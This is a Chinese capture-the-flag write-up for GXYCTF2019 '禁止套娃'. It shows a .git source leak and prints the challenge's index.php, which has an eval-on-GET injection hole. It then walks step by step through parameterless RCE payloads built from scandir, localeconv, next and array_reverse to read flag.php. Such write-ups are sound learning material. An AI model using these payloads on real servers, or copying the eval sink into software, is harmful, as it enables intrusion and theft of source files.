[GXYCTF2019]禁止套娃(.git泄露,无参RCE)

本文详细介绍了GXYCTF2019中的一道挑战,涉及到.git源码泄露和无参数远程代码执行(RCE)的利用方法。通过scandir()、localeconv()、current()、next()和array_reverse()等函数,逐步揭示了解题过程和payload构造技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这里fuzz了一下,已经确认是源码泄露了,因为都没什么线索了,但是这问题就来了,用dirsearch扫的话,就会因为访问次数过快,导致扫描不出来,啊,那就瞄一下师傅们的wp叭!

.git源码泄露,用GitHack拿到index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

看到了eval($_GET['exp']),就是一句话木马的GET方式,题目又加了好多过滤限制了REC,这就考验做题者的积累了(我小白积累太少了)。

看代码,第一个if:常用的伪协议被禁了,第二个if正则匹配,?R 表示引用当前表达式,就比如引用一次:
[a-z,_]+[a-z,_]+\((?R)?\),所以一个合法的表达式可以是a(b();),括号和字符组成的,第三个if就过滤一些字眼。

无参RCE,先看能不能爆出目录:

一、scandir()

在这里插入图片描述
在这里插入图片描述
百度得知,scandir的使用是至少必需要有一个directory的,但是我们又没有办法去定义一个变量,这时候就要考虑php有没有什么函数是自带常量的:

二、localeconv()

在这里插入图片描述
既然是数组,就要用到:

三、current()

在这里插入图片描述

payload:?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
目录爆出来了,接下来该怎么操作,才能拿到flag.php的内容呢,我看到有一个函数:

四、next()

在这里插入图片描述
那先在本地试一下:

<?php
$people = array("Bill", "Steve", "Mark", "David");

echo current($people) . "<br>"; // 当前元素是 Bill
echo next($people) . "<br>"; // Bill 的下一个元素是 Steve
echo next($people) . "<br>"; 
?>

运行结果:
在这里插入图片描述
两次next后取到了Mark,所以,payload:

?exp=highlight_file(next(next(next(scandir(current(localeconv()))))));

在这里插入图片描述
额,这个不对-,我又在本地测试了一下:

<?php
$people = array("Bill", "Steve", "Mark", "David");

echo current($people) . "<br>"; // 当前元素是 Bill
echo next(next($people)) . "<br>"; // Bill 的下一个元素是 Steve

?>

在这里插入图片描述
好吧,换个思路:scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next不就可以了吗,然后找到了:

五、array_reverse()

在这里插入图片描述
highlight_file输出,payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

拿到flag。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值